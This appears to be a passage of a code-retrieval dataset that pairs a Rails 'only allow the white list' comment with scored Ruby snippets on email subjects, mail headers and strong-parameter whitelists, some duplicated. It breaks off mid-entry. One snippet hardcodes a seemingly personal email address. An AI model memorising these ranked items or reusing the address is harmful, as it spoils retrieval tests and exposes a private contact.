{ "docid": "193a0897403a5c2e74b071663e2e74fc", "score": "0.6365552", "text": "def email_subject(form)\n \"#{form.type_of_enquiry} - #{reference}\"\n end", "title": "" }, { "docid": "1a54480c1655dc33488e718d4496fa65", "score": "0.6338638", "text": "def subject_name\n return @subject_name\n end", "title": "" }, { "docid": "09fd44300aaaa367f6fa38dd31fcbb56", "score": "0.6309683", "text": "def subject=(value)\n @subject = value\n end", "title": "" }, { "docid": "09fd44300aaaa367f6fa38dd31fcbb56", "score": "0.6309683", "text": "def subject=(value)\n @subject = value\n end", "title": "" }, { "docid": "09fd44300aaaa367f6fa38dd31fcbb56", "score": "0.6309683", "text": "def subject=(value)\n @subject = value\n end", "title": "" }, { "docid": "09fd44300aaaa367f6fa38dd31fcbb56", "score": "0.6309683", "text": "def subject=(value)\n @subject = value\n end", "title": "" }, { "docid": "09fd44300aaaa367f6fa38dd31fcbb56", "score": "0.6309683", "text": "def subject=(value)\n @subject = value\n end", "title": "" }, { "docid": "09fd44300aaaa367f6fa38dd31fcbb56", "score": "0.6309683", "text": "def subject=(value)\n @subject = value\n end", "title": "" }, { "docid": "c10c28f5ede72c493837c401fd149038", "score": "0.6211828", "text": "def get_email_subject(email_type)\n email_subject = email_type\n case(email_type)\n when \"welcome\"\n email_subject = \"Welcome to Aspera Files\"\n when \"reset\"\n email_subject = \"Password Reset\"\n end\n return email_subject\n end", "title": "" }, { "docid": "d0e1de61fdd3b17c2381046c60ded7bd", "score": "0.6211007", "text": "def subject_name\n subject_full_name\n end", "title": "" }, { "docid": "7ad2c0f013c62a3e9edad838c694bc91", "score": "0.6182101", "text": "def subject\n self['subject']\n end", "title": "" }, { "docid": "98aea16fd16bcade61f388b057a7ce98", "score": "0.61116815", "text": "def set_subject(subject)\n\t\tend", "title": "" }, { "docid": "e4e9eaeb910e519e5182e557709d7462", "score": "0.6097062", "text": "def headers\n {\n :subject => \"Contact Form:#{subject}\",\n :to => Sufia::Engine.config.contact_email, \n :from => Sufia::Engine.config.from_email\n }\n end", "title": "" }, { "docid": "52ba3f7d895aa802e8b4300411ea17d1", "score": "0.60653514", "text": "def headers\n { subject: \"#{I18n.t('cms.contact_form.subject_prefix')}: #{reason}: #{subject}\",\n to: Account.current.preferred_support_email,\n from: Account.current.preferred_support_email,\n reply_to: %(\"#{name}\" <#{email}>) }\n end", "title": "" }, { "docid": "c75eb520f091e76191d80639281e14aa", "score": "0.60447204", "text": "def headers\n {\n :subject => %(#{subject}),\n :to => Contact.first.email,\n :body => %(#{message}),\n :from => %(\"#{email}\")\n }\n end", "title": "" }, { "docid": "989dc811b8a0f55e06cc644c60c0fe59", "score": "0.604115", "text": "def get_subject_name\n subject_name = subject_header.text.sub! 'Subject:', ''\n subject_name = subject_name.strip!\n subject_name\n end", "title": "" }, { "docid": "937eab6dc402ba40a9ec371589669147", "score": "0.60404533", "text": "def subject\n @options.fetch(:subject) { \"Invitation\" }\n end", "title": "" }, { "docid": "1b7b2abe5aa10490910b94c431c35dc1", "score": "0.6037855", "text": "def set_subject_and_message(form, subject, message)\n raise Impostor::MissingTemplateMethodError.new(\"set_subject_and_message must be implemented\")\n end", "title": "" }, { "docid": "8d80940bdffc1f78e54faaed9c9764ff", "score": "0.6035377", "text": "def getEmailDefaults(subject, toEmail, ccEmail = nil)\n if Rails.env.eql? 'development'\n subject = \"[BASL-DEV] #{subject}\"\n toEmail = 'paigepon@gmail.com'\n ccEmail = toEmail\n else\n subject = \"[BASL] #{subject}\"\n end\n mailInfo = {\n :to => toEmail,\n :subject => subject,\n :cc => ccEmail\n }\n mailInfo\n end", "title": "" }, { "docid": "9f235f3972a52a85a29f561c4fb7b361", "score": "0.6014659", "text": "def SetSubject(subject)\n\t\t#Subject of document\n\t\t@subject = subject\n\tend", "title": "" }, { "docid": "68519bcaeaf78b97be1ede9128cbef68", "score": "0.59762317", "text": "def choose_subject(action, params = {})\n scope = [:mailers, mailer_name, action]\n key = :subject\n experiment_name = \"#{mailer_name}_mailer_#{action}_subject\".to_sym\n if experiment_active?(experiment_name)\n scope << key\n key = ab_test(experiment_name)\n end\n params.merge!(scope: scope)\n I18n.t(key, params)\n end", "title": "" }, { "docid": "f6dda0b60fb6635388a83025ff28559a", "score": "0.595261", "text": "def subject(options = {})\n options = { :capitalize => true, :case => Grammar::Case::SUBJECT }.merge(options)\n pronoun_or_noun(@subject, @audience, options)\n end", "title": "" }, { "docid": "38fb4ddebb33258f2c291bd0679fd3b2", "score": "0.5945651", "text": "def email_subject\n sponsor_name = @config.plan.sponsor_name\n display_date = @date.to_s()\n if @config.div_id.present?\n email_subject = \"Payroll report for #{sponsor_name} for division #{@config.division_name}: #{display_date}\"\n else\n email_subject = \"Payroll report for #{sponsor_name}: #{display_date}\"\n end\n return email_subject\n end", "title": "" }, { "docid": "4553f8bf49725f845fe051a2a40ac42f", "score": "0.5934551", "text": "def headers\n { subject: \"#{site_name} contact form\", to: site_email, from: email }\n end", "title": "" }, { "docid": "2316f65233b6fb2d5ca6cbcf9856af69", "score": "0.5894768", "text": "def deliver_invitation(options = {})\n super(options.merge(subject: _('A Data Management Plan in %{application_name} has been shared with you') % {application_name: Rails.configuration.branding[:application][:name]}))\n end", "title": "" }, { "docid": "b311e8825c5da576c64f54346dc379b5", "score": "0.58839464", "text": "def subject\n @subject=EzCrypto::Name.new(@cert.subject) unless @subject\n @subject\n end", "title": "" }, { "docid": "fecd888d2b97acdacc169c32549a1396", "score": "0.5875192", "text": "def email_subject(&blk)\n @email_subject_block = blk if blk\n @email_subject_block\n end", "title": "" }, { "docid": "c2d16f265cf8ddaee4c2877cb98e7aa1", "score": "0.5857704", "text": "def data_subject=(value)\n @data_subject = value\n end", "title": "" }, { "docid": "19aa7673da40f10fd51b62870013f6de", "score": "0.5850912", "text": "def get_subject\n\t\tend", "title": "" }, { "docid": "0fef9991f0f2e185075c3572077fae7f", "score": "0.58502555", "text": "def normalize_subject_name\n self.subject = subject.downcase.titleize\n end", "title": "" }, { "docid": "7f0cb226cc7c625b6430bbf3284b8a32", "score": "0.5819103", "text": "def headers\n {\n subject: I18n.t('contact.subject'),\n to: info_email,\n from: \"Deskspotting <#{info_email}>\"\n }\n end", "title": "" }, { "docid": "58f3bb0855dabd456d7862edcbf7d28b", "score": "0.5805864", "text": "def send_message_to_company(recipientEmail, fromEmail, subjectEmail, bodyMessage)\n @subject = subjectEmail\n @body[\"body_message\"] = bodyMessage\n @body[\"sent_to\"] = recipientEmail\n @recipients = recipientEmail\n @from = fromEmail\n @content_type = \"text/html\"\n @headers = {}\n end", "title": "" }, { "docid": "d85fd9cc1a6c11310ef0d16c1336ea2c", "score": "0.579289", "text": "def set_title\n @title = t(:message_2, :scope => [:controller, :exams])\n end", "title": "" }, { "docid": "f3a2e8ba03cd2554a6262ab865c30a6c", "score": "0.5785259", "text": "def headers\n {\n :subject => \"Contact from website\",\n :to => Site.current.preferred_contact_email,\n :from => %(\"#{lastname}\" <#{email}>)\n }\n end", "title": "" }, { "docid": "f3a2e8ba03cd2554a6262ab865c30a6c", "score": "0.5785259", "text": "def headers\n {\n :subject => \"Contact from website\",\n :to => Site.current.preferred_contact_email,\n :from => %(\"#{lastname}\" <#{email}>)\n }\n end", "title": "" }, { "docid": "4e094e6459da2dec6557a95d98f895e1", "score": "0.57631636", "text": "def ezm_subject_and_status(message)\r\n if message.receiver_deleted?\r\n message.subject + \" (Deleted)\" \r\n elsif message.read_at.nil?\r\n message.subject + \" (Unread)\" \r\n else \r\n message.subject\r\n end\r\n end", "title": "" }, { "docid": "d9126897bbd97c3abac5ff79bd0067bc", "score": "0.57440287", "text": "def translated_header_message\n lookups = []\n lookups << :\"activemodel.errors.template.header_message\"\n lookups << :\"activerecord.errors.template.header_message\"\n lookups << :\"case_form.errors.template.header_message\"\n lookups << \"Some errors prohibited this object from being saved\"\n I18n.t(lookups.shift, :default => lookups)\n end", "title": "" }, { "docid": "a4e16a7f4ffee02d752b0495df6f7823", "score": "0.5709163", "text": "def send_message(subject:, text:, from: nil)\n super(to: get_attribute(:name), subject: subject, text: text, from: from)\n end", "title": "" }, { "docid": "a4e16a7f4ffee02d752b0495df6f7823", "score": "0.5709163", "text": "def send_message(subject:, text:, from: nil)\n super(to: get_attribute(:name), subject: subject, text: text, from: from)\n end", "title": "" }, { "docid": "710384d164cfdfdff081f572b48aaa42", "score": "0.5696285", "text": "def subject\n title \n end", "title": "" }, { "docid": "7ae21dffe5e7792b0592c5bbeca1b150", "score": "0.5693694", "text": "def compose_email\n @title = t 'conclusion_draft_review.send_by_email'\n end", "title": "" }, { "docid": "490099cfe294b91505593caad3fc1435", "score": "0.56926423", "text": "def message_for(key,options={})\n handwritten_message || I18n.translate(key, {:scope => 'activerecord.errors.messages'}.merge(options))\n end", "title": "" }, { "docid": "3b5c5c40e9806d070dbc66d7143caf9b", "score": "0.56916827", "text": "def translated_message\n lookups = []\n lookups << :\"activemodel.errors.template.message\"\n lookups << :\"activerecord.errors.template.message\"\n lookups << :\"case_form.errors.template.message\"\n lookups << \"There were problems with the following fields:\"\n I18n.t(lookups.shift, :default => lookups)\n end", "title": "" }, { "docid": "ec10196d9ca7681ff15ab93255953da5", "score": "0.5689228", "text": "def title\r\n fail \"There are no messages yet\" if self.messages.size == 0\r\n\r\n @messages[0].subject.size == 0 ? \"No title\" : @messages[0].subject\r\n end", "title": "" }, { "docid": "0abde6fcfb518ca70a5ad65b19c9a004", "score": "0.5674768", "text": "def send_message(subject:, text:, from: nil)\n super(to: read_attribute(:name), subject: subject, text: text, from: from)\n end", "title": "" }, { "docid": "a067679e9b80b1e74ac1fddb2d36e9f4", "score": "0.5667592", "text": "def message\n if subject && !subject.empty?\n subject + \"\\n\" + body\n else\n body\n end\n end", "title": "" }, { "docid": "2054cf1898c598313b27110c69120821", "score": "0.56224227", "text": "def subject_titles\n @subject_titles ||= sw_subject_titles\n end", "title": "" }, { "docid": "b2162025e2ce484da4cbae3a48d8813a", "score": "0.5616776", "text": "def default_sender_address\n address = Mail::Address.new(Gitlab.config.gitlab.email_from)\n address.display_name = \"GitLab\"\n address\n end", "title": "" }, { "docid": "7f9e7c6dd74e5866d5dcb561c50fae18", "score": "0.56087476", "text": "def mmm_test_subj_call\n ->(candidate) { I18n.t('email.test_monthly_mail_subject_initial_input', candidate_account_name: candidate.account_name) }\n end", "title": "" }, { "docid": "fafb69de35beae26562c8e4557ad91db", "score": "0.5591289", "text": "def message_me(msg)\n @msg = msg\n mail subject: \"From: #{@msg.name} : #{@msg.email} says : #{@msg.subject}\", body: \"From: #{@msg.name} @ #{@msg.email} | Subject: #{@msg.subject} | Body of email : #{@msg.content}\"\n #@msg.content << \"From : #{@msg.name} :: Subject : #{@msg.subject}\" # previous one\n end", "title": "" }, { "docid": "14c49c3ac88cce011799e1ea7043ec12", "score": "0.5588122", "text": "def header(to, from, subject)\n @mail[:to] = to\n @mail[:from] = from\n @mail[:subject] = subject\n end", "title": "" }, { "docid": "569d8f6f023d2407df2944dd05bf407f", "score": "0.55854905", "text": "def subject\n map_field(:subject)&.map { |a| a.gsub(/ \\$[a-z] /, '--') }\n end", "title": "" }, { "docid": "81673ec458072e5b9519e8f8a7d35a58", "score": "0.55831194", "text": "def new_message_email(message,receiver)\n @message = message\n @receiver = receiver\n @conversation = @message.conversation\n\n if @conversation.reservation.present?\n @reservation = @conversation.reservation\n end\n\n set_subject(message)\n mail :to => receiver.send(Mailboxer.email_method, message),\n :subject => t('mailboxer.message_mailer.subject_new', :subject => @subject),\n :template_name => 'new_message_email'\n end", "title": "" }, { "docid": "b2834459306be2a7cc9ad6416e91124d", "score": "0.55812234", "text": "def community_member_email(sender, recipient, email_subject, email_content, community)\n @email_type = \"email_from_admins\"\n set_up_layout_variables(recipient, community, @email_type)\n with_locale(recipient.locale, community.locales.map(&:to_sym), community.id) do\n @email_content = email_content\n @no_recipient_name = true\n premailer_mail(:to => recipient.confirmed_notification_emails_to,\n :from => community_specific_sender(community),\n :subject => email_subject,\n :reply_to => \"\\\"#{sender.name(community)}\\\"<#{sender.confirmed_notification_email_to}>\")\n end\n end", "title": "" }, { "docid": "91426e4b7ffe36d772cde2defb67c1e1", "score": "0.55745107", "text": "def contact(contact)\n @recipients = App[:recipients]\n @body[:contact] = contact\n @from = App[:from]\n @subject =\"咨询\"+ contact.name\n @sent_on = Time.now\n end", "title": "" }, { "docid": "6bf6dffeb7f9c5080add0476a18dec5e", "score": "0.5568573", "text": "def default_message_for(key)\n if @options[:message]\n :message\n else\n @options[:\"#{key}_message\"] = key\n :\"#{key}_message\"\n end\n end", "title": "" }, { "docid": "456e20539132b12952c82d91f62f4f0f", "score": "0.556428", "text": "def i18n_label\n \"email.#{name}_label\"\n end", "title": "" }, { "docid": "13f33ebdb3e9b2ed264fd5a729836792", "score": "0.55506754", "text": "def translation_scope\n \"mailers.#{mailer_name.tr(\"/\", \".\").sub(\"_mailer\", \"\")}.#{action_name}\"\n end", "title": "" }, { "docid": "fd5c8c438dfe4ccffcf595128ce9ceac", "score": "0.55450284", "text": "def new_message_email(message,receiver)\n @message = message\n @receiver = receiver\n set_subject(message)\n mail :to => receiver.send(Mailboxer.email_method, message),\n :from => \"Panel KW Kraków <reply+#{message.conversation.code}@panel.kw.krakow.pl>\",\n :subject => @subject,\n :template_name => 'new_message_email'\n end", "title": "" }, { "docid": "2c1e824d4cd64200e40bee9c93b14101", "score": "0.5544906", "text": "def custom_mail( user, subject, title, contents )\n @user = user\n @host = GogglesCore::AppConstants::WEB_MAIN_DOMAIN_NAME\n @contents = contents\n @title = title\n #subject: \"[#{ GogglesCore::AppConstants::WEB_APP_NAME }@#{ @host }] #{ subject }\",\n mail(\n subject: \"#{ subject } [#{GogglesCore::AppConstants::WEB_APP_NAME}]\",\n to: user.email,\n date: Time.now\n )\n end", "title": "" }, { "docid": "a167b5d14af4534f22da3400cdc7f8b4", "score": "0.5524894", "text": "def headers\n {\n :subject => \"澄清:對於#{candidate_name}的#{record_type}\",\n # :to => \"wevote@watchout.tw\",\n :to => Setting.email.clarify,\n :from => %(\"#{name}\" <#{email}>)\n }\n end", "title": "" }, { "docid": "a47d2f607bd26ea76af0b1123a627d57", "score": "0.5512881", "text": "def contact_message\n @contact_message = params[:contact_message]\n mail to: self.class.admin_emails\n end", "title": "" }, { "docid": "0bf9e16d77d6b01645531438f685f70c", "score": "0.55126303", "text": "def set_subject\n @subject = Subject.friendly.find(params[:id])\n end", "title": "" }, { "docid": "eeba6be1a0703c43d8acc1b6acd6568a", "score": "0.55078447", "text": "def t_sms_msg(key, options = {})\n # throw in the form_code if it's not there already and we have the form\n options[:form_code] ||= options[:form].current_version.code if options[:form]\n\n # get the reply language (if we have the user, use their pref_lang; if not, use default)\n lang = options[:user] && options[:user].pref_lang ? options[:user].pref_lang.to_sym : I18n.default_locale\n\n # do the translation, raising error on failure\n I18n.t(key, options.merge(locale: lang, raise: true))\n end", "title": "" }, { "docid": "7b5501e70c896d6c21d8a25717337e27", "score": "0.55047005", "text": "def subject=(text)\n current_div.text_field(:id=>\"comp-subject\").set text\n end", "title": "" }, { "docid": "0afdf0ee136e29d46e00cf59481207ea", "score": "0.55019844", "text": "def contact_email(contact)\n @contact = contact\n\n # Don't send email to nobody.\n unless @contact.contact_subject.email.blank? \n mail( :to => @contact.contact_subject.email, \n :subject => \"A Message from the Website\")\n end\n end", "title": "" }, { "docid": "d8bbb64e37068744730da7f311111394", "score": "0.55014163", "text": "def subject_names\n @subject_names ||= sw_subject_names\n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "25999d2ba7f0e0a3e2e432285e7efaaa", "score": "0.0", "text": "def quiz_params\n params.require(:quiz).permit(:quiz_title, :owner_user_id, :quiz_text, :project_id, :quiz_parts1, :quiz_parts2, :quiz_parts3, :quiz_parts4, :order, :answer )\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7495027", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.69566035", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.69225836", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.68929327", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.67848456", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.674347", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6682223", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.6636527", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.66291976", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.66258276", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f", "score": "0.65625846", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6491194", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6477825", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.64526874", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.64001405", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.63810205", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.63634825", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.633783", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b4c9587164188c64f14b71403f80ca7c", "score": "0.6336759", "text": "def sanitize_params!\n request.sanitize_params!\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6325718", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "38bec0546a7e4cbf4c337edbee67d769", "score": "0.631947", "text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.63146484", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "5ec018b4a193bf3bf8902c9419279607", "score": "0.63137317", "text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6306224", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.6301168", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.63000035", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.629581", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.6280713", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6271388", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.6266194", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "37c5d0a9ebc5049d7333af81696608a0", "score": "0.6256044", "text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.62550515", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.62525266", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "d14bb69d2a7d0f302032a22bb9373a16", "score": "0.6234781", "text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend", "title": "" }, { "docid": "5629f00db37bf403d0c58b524d4c3c37", "score": "0.62278074", "text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "d370098b1b3289dbd04bf1c073f2645b", "score": "0.6226693", "text": "def allow_params\n params.permit(:id, :email, :password)\n end", "title": "" }, { "docid": "fde8b208c08c509fe9f617229dfa1a68", "score": "0.6226605", "text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end", "title": "" }, { "docid": "78cbf68c3936c666f1edf5f65e422b6f", "score": "0.6226114", "text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend", "title": "" }, { "docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5", "score": "0.6200643", "text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end", "title": "" }, { "docid": "d724124948bde3f2512c5542b9cdea74", "score": "0.61913997", "text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.61835426", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.6179986", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.61630195", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "fc4b1364974ea591f32a99898cb0078d", "score": "0.6160931", "text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6155551", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.61542404", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "b9432eac2fc04860bb585f9af0d932bc", "score": "0.61356604", "text": "def wall_params\n params.permit(:public_view, :guest)\n end", "title": "" }, { "docid": "f2342adbf71ecbb79f87f58ff29c51ba", "score": "0.61342114", "text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.61188847", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "9292c51af27231dfd9f6478a027d419e", "score": "0.61140966", "text": "def domain_params\n params[:domain].permit!\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "a3aee889e493e2b235619affa62f39c3", "score": "0.61107725", "text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.61038506", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6097247", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "677293afd31e8916c0aee52a787b75d8", "score": "0.60860336", "text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end", "title": "" }, { "docid": "e50ea3adc222a8db489f0ed3d1dce35b", "score": "0.60855556", "text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end", "title": "" }, { "docid": "b7ab5b72771a4a2eaa77904bb0356a48", "score": "0.608446", "text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end", "title": "" }, { "docid": "b2841e384487f587427c4b35498c133f", "score": "0.6076753", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.60742563", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "0c8779b5d7fc10083824e36bfab170de", "score": "0.60677326", "text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.60666215", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "fa0608a79e8d27c2a070862e616c8c58", "score": "0.6065763", "text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.60655254", "text": "def need_params\n end", "title": "" }, { "docid": "4f8205e45790aaf4521cdc5f872c2752", "score": "0.6064794", "text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end", "title": "" }, { "docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06", "score": "0.6062697", "text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60620916", "text": "def filtered_parameters; end", "title": "" }, { "docid": "d6886c65f0ba5ebad9a2fe5976b70049", "score": "0.60562736", "text": "def 